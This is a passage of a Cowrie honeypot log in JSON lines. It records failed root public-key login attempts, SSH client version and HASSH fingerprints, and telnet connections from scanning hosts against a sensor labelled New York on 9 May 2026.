{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:94:fe:ab:7a:62:e5:88:ce:fe:65:13:b0:db:c9:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpRhPoXSKymuEBqP+ZnszGPxqxhI3Nvf69G4+ZFvbbRh6RwVLKOlynHNnze31JdxrglzL7VuIKwltu73T4OEjyzUERyxW3ddmXHcCJOYGDUEINb615pnU+BziNVFAcM5/ey/tppkwII19x7nn4Fujo4Z1y11FEIvklRZzxcro2mTCzPEr7lRBnEsDZpK12hP4MZVj+7akNewaA2l8o62eSZyw40KVa+bjdeM7ArlB+uKXPdPINK4mJk4QOa5U0XiG/Tioz9SdfKZzrELn9NG6gCBUex6B3PaP4jnRMwFCH0mcKfcqFFWQywjDf2I0Td+18QLlMm4ZgTCXWebZA+t9F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:94:fe:ab:7a:62:e5:88:ce:fe:65:13:b0:db:c9:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:23.087114Z","src_ip":"205.237.107.42","session":"fe6841f5c541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:94:fe:ab:7a:62:e5:88:ce:fe:65:13:b0:db:c9:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpRhPoXSKymuEBqP+ZnszGPxqxhI3Nvf69G4+ZFvbbRh6RwVLKOlynHNnze31JdxrglzL7VuIKwltu73T4OEjyzUERyxW3ddmXHcCJOYGDUEINb615pnU+BziNVFAcM5/ey/tppkwII19x7nn4Fujo4Z1y11FEIvklRZzxcro2mTCzPEr7lRBnEsDZpK12hP4MZVj+7akNewaA2l8o62eSZyw40KVa+bjdeM7ArlB+uKXPdPINK4mJk4QOa5U0XiG/Tioz9SdfKZzrELn9NG6gCBUex6B3PaP4jnRMwFCH0mcKfcqFFWQywjDf2I0Td+18QLlMm4ZgTCXWebZA+t9F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:23.091321Z","src_ip":"205.237.107.42","session":"fe6841f5c541","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:3f:b9:f7:f6:8e:d9:d6:82:08:ea:0a:b6:60:69:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAscicTjuG5SmWXuy0uRlIphY6AZ7iqinYfuFtpLyTxMqxasPxqR8/YFxg2bD8zwhdXQnK1ohj3Tt+yz6aARbJzi2ZBihkESdL3BwpfhBL/YDkifXDHgPHaLxDNr5pxyg3x8ECit9iiSP33XyDEnUeXBNcAYLYT8WeZAdK1EsISNTxygDCgYF2YdMMtMV5PBejJLylrZcTcvJLoCk7POnfR6FOJQcwfLdPjB6UM2XZl9PRe4ZQuY3Kg03rJXbfyQXuHiq19xmbgHxRfOgqSmjCI22eejseBJ2hDkOcuHLj55pGbKPGKvjTJfSllfgqUt16KSIuJMG3kStNYmgIrXYgtw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:3f:b9:f7:f6:8e:d9:d6:82:08:ea:0a:b6:60:69:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:23.175516Z","src_ip":"205.237.107.42","session":"fe6841f5c541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:3f:b9:f7:f6:8e:d9:d6:82:08:ea:0a:b6:60:69:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAscicTjuG5SmWXuy0uRlIphY6AZ7iqinYfuFtpLyTxMqxasPxqR8/YFxg2bD8zwhdXQnK1ohj3Tt+yz6aARbJzi2ZBihkESdL3BwpfhBL/YDkifXDHgPHaLxDNr5pxyg3x8ECit9iiSP33XyDEnUeXBNcAYLYT8WeZAdK1EsISNTxygDCgYF2YdMMtMV5PBejJLylrZcTcvJLoCk7POnfR6FOJQcwfLdPjB6UM2XZl9PRe4ZQuY3Kg03rJXbfyQXuHiq19xmbgHxRfOgqSmjCI22eejseBJ2hDkOcuHLj55pGbKPGKvjTJfSllfgqUt16KSIuJMG3kStNYmgIrXYgtw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:23.179704Z","src_ip":"205.237.107.42","session":"fe6841f5c541","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:3b:eb:ca:b7:a7:8d:50:72:9f:0f:88:0f:f8:73:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuD3UAMEI0DJRZXFOyBQC90VIH/ApPluWX17CEaUlqBNKdTgYpFRA0P0gjOdhMsHs0ni/XOyqcuN68JpzdgCOB/lPo3MYZolO2Q1iZecG5Bwy1lbHvqxa2UlJc2E2PV+Lxao9bvw6T6QEa5uTC12U4s1McLunwA8vu8Z8KjJg8dQ8DanBVDcGh8dsXiZ9tWe+hBpGzShA80J5k9Ws0c1hKo/D+BxCwJPHXasKoXzMGYmKFdoAyIKQJmJjqCrCfaiWSkQYt3nqKXYYon3mn09gVFjkE9oBBj+0OJWeJGqgI15DoA/F7KssGdrH7wq5j16fTRny1K2LY7ws6c2mTlSfsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:3b:eb:ca:b7:a7:8d:50:72:9f:0f:88:0f:f8:73:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:23.263690Z","src_ip":"205.237.107.42","session":"fe6841f5c541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:3b:eb:ca:b7:a7:8d:50:72:9f:0f:88:0f:f8:73:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuD3UAMEI0DJRZXFOyBQC90VIH/ApPluWX17CEaUlqBNKdTgYpFRA0P0gjOdhMsHs0ni/XOyqcuN68JpzdgCOB/lPo3MYZolO2Q1iZecG5Bwy1lbHvqxa2UlJc2E2PV+Lxao9bvw6T6QEa5uTC12U4s1McLunwA8vu8Z8KjJg8dQ8DanBVDcGh8dsXiZ9tWe+hBpGzShA80J5k9Ws0c1hKo/D+BxCwJPHXasKoXzMGYmKFdoAyIKQJmJjqCrCfaiWSkQYt3nqKXYYon3mn09gVFjkE9oBBj+0OJWeJGqgI15DoA/F7KssGdrH7wq5j16fTRny1K2LY7ws6c2mTlSfsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:23.267969Z","src_ip":"205.237.107.42","session":"fe6841f5c541","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:d7:c4:10:1a:85:18:2e:52:61:7c:df:f4:15:da:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvp9MrjwS/FfW8IgAv3h2FqVXUplc8UGqk2xLDMgFTk9TcaqJ6cLLTPWeNCMkNqnAxs/QAbvKZneLJe1SjqtfyF1M966cR1v/rq1VxsaBYAPBu9ioUG3RIggKctZ76zT2X6qSfaSylTw52f0fl/yLdmHh079H23+yZkZZSL2xyKKAVegeOYE/eADv5dqcs/jVTVNY4EnRWVfduxebxczPbXm9LOtFyren9zIodfrdI+JtfvYAEeGTlbpNjKfMEe0n3N4flflP9+G0f/KXQkWDVF6+Lp3X64mYqyMLGnckOSzH3bQda06p0wnQf9wZy7+FZG/OnxcpR0g5ywD5SljxKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:d7:c4:10:1a:85:18:2e:52:61:7c:df:f4:15:da:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:23.350483Z","src_ip":"205.237.107.42","session":"fe6841f5c541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:d7:c4:10:1a:85:18:2e:52:61:7c:df:f4:15:da:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvp9MrjwS/FfW8IgAv3h2FqVXUplc8UGqk2xLDMgFTk9TcaqJ6cLLTPWeNCMkNqnAxs/QAbvKZneLJe1SjqtfyF1M966cR1v/rq1VxsaBYAPBu9ioUG3RIggKctZ76zT2X6qSfaSylTw52f0fl/yLdmHh079H23+yZkZZSL2xyKKAVegeOYE/eADv5dqcs/jVTVNY4EnRWVfduxebxczPbXm9LOtFyren9zIodfrdI+JtfvYAEeGTlbpNjKfMEe0n3N4flflP9+G0f/KXQkWDVF6+Lp3X64mYqyMLGnckOSzH3bQda06p0wnQf9wZy7+FZG/OnxcpR0g5ywD5SljxKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:23.353941Z","src_ip":"205.237.107.42","session":"fe6841f5c541","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:09:54:ed:24:e0:03:ff:c1:8b:7a:85:1e:fb:60:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu14nwHzuOhcnsJhqzujK1we0U9xHBQr/z/2yTgH/JM3KxUuvAqFUbf70W417jzGsJj0gZQ3lcQZf0/PcUnquIFAxOcWSmz9CmF4r83AVRHP+FhmGLa/AWSsUGAojtr2tAOofa9KPv97OJQkmtDkJLacoq2R3Vy8uoRzaHDhYU+PNS2HJ1jOd0a05OtnmhL2RMssE9qfN5OOiu6Yg7OoFHhhmilKK+fmCSNrDR4Ama890cJCQR6tHIL3IVCAru+Dh+a0I8f8hrv4rayMrZ6GJKEpk8NDStWuXZ8xin1s5LlWWUvStnRFFCWjMQ4qn7XjcmA8BEUsiD0dV7JwglI2zD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:09:54:ed:24:e0:03:ff:c1:8b:7a:85:1e:fb:60:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:23.437487Z","src_ip":"205.237.107.42","session":"fe6841f5c541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:09:54:ed:24:e0:03:ff:c1:8b:7a:85:1e:fb:60:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu14nwHzuOhcnsJhqzujK1we0U9xHBQr/z/2yTgH/JM3KxUuvAqFUbf70W417jzGsJj0gZQ3lcQZf0/PcUnquIFAxOcWSmz9CmF4r83AVRHP+FhmGLa/AWSsUGAojtr2tAOofa9KPv97OJQkmtDkJLacoq2R3Vy8uoRzaHDhYU+PNS2HJ1jOd0a05OtnmhL2RMssE9qfN5OOiu6Yg7OoFHhhmilKK+fmCSNrDR4Ama890cJCQR6tHIL3IVCAru+Dh+a0I8f8hrv4rayMrZ6GJKEpk8NDStWuXZ8xin1s5LlWWUvStnRFFCWjMQ4qn7XjcmA8BEUsiD0dV7JwglI2zD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:23.440963Z","src_ip":"205.237.107.42","session":"fe6841f5c541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:12:23.525455Z","src_ip":"205.237.107.42","session":"fe6841f5c541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":50660,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3a04f9d224d","protocol":"telnet","message":"New connection: 180.235.129.180:50660 (10.17.0.5:23) [session: a3a04f9d224d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:13:01.013664Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":50656,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b42d9189c99","protocol":"telnet","message":"New connection: 180.235.129.180:50656 (10.17.0.5:23) [session: 6b42d9189c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:13:02.010790Z"}
{"eventid":"cowrie.session.closed","duration":7.630592584609985,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:13:09.641217Z","src_ip":"180.235.129.180","session":"6b42d9189c99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":61670,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c08a3da3d43","protocol":"ssh","message":"New connection: 194.59.206.2:61670 (10.17.0.5:22) [session: 1c08a3da3d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:13:22.665584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:13:22.670620Z","src_ip":"194.59.206.2","session":"1c08a3da3d43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:13:22.758624Z","src_ip":"194.59.206.2","session":"1c08a3da3d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:13:22.848487Z","src_ip":"194.59.206.2","session":"1c08a3da3d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.510180950164795,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:13:53.523664Z","src_ip":"180.235.129.180","session":"a3a04f9d224d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":55780,"dst_ip":"10.17.0.5","dst_port":23,"session":"40564f03e85b","protocol":"telnet","message":"New connection: 180.235.129.180:55780 (10.17.0.5:23) [session: 40564f03e85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:14:01.447707Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":33586,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b26696d6625","protocol":"telnet","message":"New connection: 180.235.129.180:33586 (10.17.0.5:23) [session: 2b26696d6625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:15.640459Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":33666,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e481b42b6ee","protocol":"telnet","message":"New connection: 180.235.129.180:33666 (10.17.0.5:23) [session: 2e481b42b6ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:20.957050Z"}
{"eventid":"cowrie.session.closed","duration":12.301645040512085,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:27.941990Z","src_ip":"180.235.129.180","session":"2b26696d6625","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.250.239.241","src_port":43304,"dst_ip":"10.17.0.5","dst_port":22,"session":"e30a08f27519","protocol":"ssh","message":"New connection: 192.250.239.241:43304 (10.17.0.5:22) [session: e30a08f27519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:34.327552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:34.331835Z","src_ip":"192.250.239.241","session":"e30a08f27519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:34.406235Z","src_ip":"192.250.239.241","session":"e30a08f27519","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:5a:b7:ff:15:39:1b:74:9e:75:58:26:16:56:d8:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeaxVceBJQplOUIgfqLQaGGmP4uh51osxu1GdtK1AVLf5VSENNoqAj7Nt41ATLFW6kd3OphJS64MaUikcOHE2IrUSvI3m/xcag0dHEzSTlgpVNLNekhPEBY/1SEHLjgQhvZEVwJFwl4A7Y9pbxkkkUe/bQw5CP6D+W519Rp94LHcM1MJEpFEcyiKrQUORXQJ5v1PbqwkbglqIOBDQrNmBqeuQy67cs6FOnd3ARPWrR+mrgEWle1HGOOSKAko5vMgZu1goBtVIu5kfBDUNWqVjh8WSEWQTmbRVelTgmrhBR4TNQkd76hxDnAZJ9FICtbJbZWCdQVoIz65NF9z/P4FYN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:5a:b7:ff:15:39:1b:74:9e:75:58:26:16:56:d8:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:34.762896Z","src_ip":"192.250.239.241","session":"e30a08f27519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:5a:b7:ff:15:39:1b:74:9e:75:58:26:16:56:d8:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeaxVceBJQplOUIgfqLQaGGmP4uh51osxu1GdtK1AVLf5VSENNoqAj7Nt41ATLFW6kd3OphJS64MaUikcOHE2IrUSvI3m/xcag0dHEzSTlgpVNLNekhPEBY/1SEHLjgQhvZEVwJFwl4A7Y9pbxkkkUe/bQw5CP6D+W519Rp94LHcM1MJEpFEcyiKrQUORXQJ5v1PbqwkbglqIOBDQrNmBqeuQy67cs6FOnd3ARPWrR+mrgEWle1HGOOSKAko5vMgZu1goBtVIu5kfBDUNWqVjh8WSEWQTmbRVelTgmrhBR4TNQkd76hxDnAZJ9FICtbJbZWCdQVoIz65NF9z/P4FYN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:34.766762Z","src_ip":"192.250.239.241","session":"e30a08f27519","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:69:7b:95:e2:af:6f:96:05:52:2a:72:33:6a:1f:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHI2scJl1XkkDSkHFZBucphYaigqDHcqOEGzWrnec0izUO71x88d7c9l+Nb4HkdBY0mCPVxemr5UgQABzqgTtpwwF8NcxMAzDIC0TiVNFuKmXhhtKog3KDlelsEab2FZiWedyw/8q1qXM3T7qzwiVPxkNYtCYXN/13tAZbUR9CiK6ir/cvBYKBs3w3MfpcklPNPC9mk86JQHVvBHfjBVXOuPacjNYowAHv0ECT929O/94OWjMg0uA+aGc4Ou9Zsxc7fhmy1nttjBUSKhT2Au7PP14uPgH9Ol7odrZTOrkn4cgBWkUc0vqRUAWUvkXzVQfgs7JXMFgeDPsqU2qUsAkHeyaGVMeXHtb4KR/vdcgdjkOY3WNTLDsARXleZUOr/HwVSDV1JuHz25MtuqLJ2RuTp8t1+8dG8snojgdAnIn1cs/gePcN0mtNhwQO14nUasI43RkEJ4mieA0Sg86jcCX/ScbKMKqfnxRjyhi4dKpg8DuI3F6z4skYmwmovy1MSrxgP7Di6rHgIsoJDd8yx/RBEfUGPLXEC0ysuf4/oN67FoXaVeckgp+Ne06+Y+9xGoU1mI3FhChxDapg2nTXJ+wVjiUlPx12TOkSzku9EfLIXsyM/b/B2bTZnM6I0VWsMwqD2ZZZTV/Rl6hehIkaEI1KquRHlK9fVofP3QWwG0Mkdw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:69:7b:95:e2:af:6f:96:05:52:2a:72:33:6a:1f:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:34.846930Z","src_ip":"192.250.239.241","session":"e30a08f27519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:69:7b:95:e2:af:6f:96:05:52:2a:72:33:6a:1f:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHI2scJl1XkkDSkHFZBucphYaigqDHcqOEGzWrnec0izUO71x88d7c9l+Nb4HkdBY0mCPVxemr5UgQABzqgTtpwwF8NcxMAzDIC0TiVNFuKmXhhtKog3KDlelsEab2FZiWedyw/8q1qXM3T7qzwiVPxkNYtCYXN/13tAZbUR9CiK6ir/cvBYKBs3w3MfpcklPNPC9mk86JQHVvBHfjBVXOuPacjNYowAHv0ECT929O/94OWjMg0uA+aGc4Ou9Zsxc7fhmy1nttjBUSKhT2Au7PP14uPgH9Ol7odrZTOrkn4cgBWkUc0vqRUAWUvkXzVQfgs7JXMFgeDPsqU2qUsAkHeyaGVMeXHtb4KR/vdcgdjkOY3WNTLDsARXleZUOr/HwVSDV1JuHz25MtuqLJ2RuTp8t1+8dG8snojgdAnIn1cs/gePcN0mtNhwQO14nUasI43RkEJ4mieA0Sg86jcCX/ScbKMKqfnxRjyhi4dKpg8DuI3F6z4skYmwmovy1MSrxgP7Di6rHgIsoJDd8yx/RBEfUGPLXEC0ysuf4/oN67FoXaVeckgp+Ne06+Y+9xGoU1mI3FhChxDapg2nTXJ+wVjiUlPx12TOkSzku9EfLIXsyM/b/B2bTZnM6I0VWsMwqD2ZZZTV/Rl6hehIkaEI1KquRHlK9fVofP3QWwG0Mkdw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:34.850861Z","src_ip":"192.250.239.241","session":"e30a08f27519","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:dd:b9:03:bc:88:f0:82:31:25:a1:ff:11:82:f0:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkancFDUnRnB8dSjxJioeTmt1jp+9AQJg32DJiqZhmYpmGYj9Hq4G5EU7Gjrg+NDXWLoLHEGGzKMri2N1FZYs6c/qxweL4YvqUF/5K+l7JfB2ImK1Cs68bym2w6zBu97i5PHDd9e8lRypUBQA1ZUKAdiNSglWinKGXiAc+v9lVIjKZD9Smcwi7U1CtCWHe4WWRon6/9QeK+h3EGmxJ4+LhjObkMscK5ncKTMjZxVTuaPbcfMAt/3Zwsta4VsT/ReccsCdQZmtAuxQVOwaZMZvHZIVnrCbRd8uiejVUWvWX6Ga1g2JunpZVUe9+Kyct75JWQzgZ1o7hctsQXlFKKnbYMKhk1art2nAMh8skS+HGuYyVr3cQxZcA12Gm9onRgo/rHxxjZFBw7OKj7IAS1WDDZY9qnlawkaUdKkQu9R9WqSiWsHQ4/gpkITJGgo9iyN9NFlV2LqRr3CtPapvpX0AfcigIczNAZDe1xhkvD8IrY+r/TXWZP50ku0E1tUoyl9bC9cYe1Y+QZ2LdvyXqKgR0MkCrAyPltv5AMZ4/zhpTvhOj1l9Hi8jzt9wyxLAGpAXC401eJTBVMpCjmiRskGBcduA9zHQHG8E3KiQFjIw23wHLC3S8LgGveoHFMVOZXYA9LIWUh1+7hjA7fNcuBhHE5jOnaM2grUYdW6Th5Ey3uQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 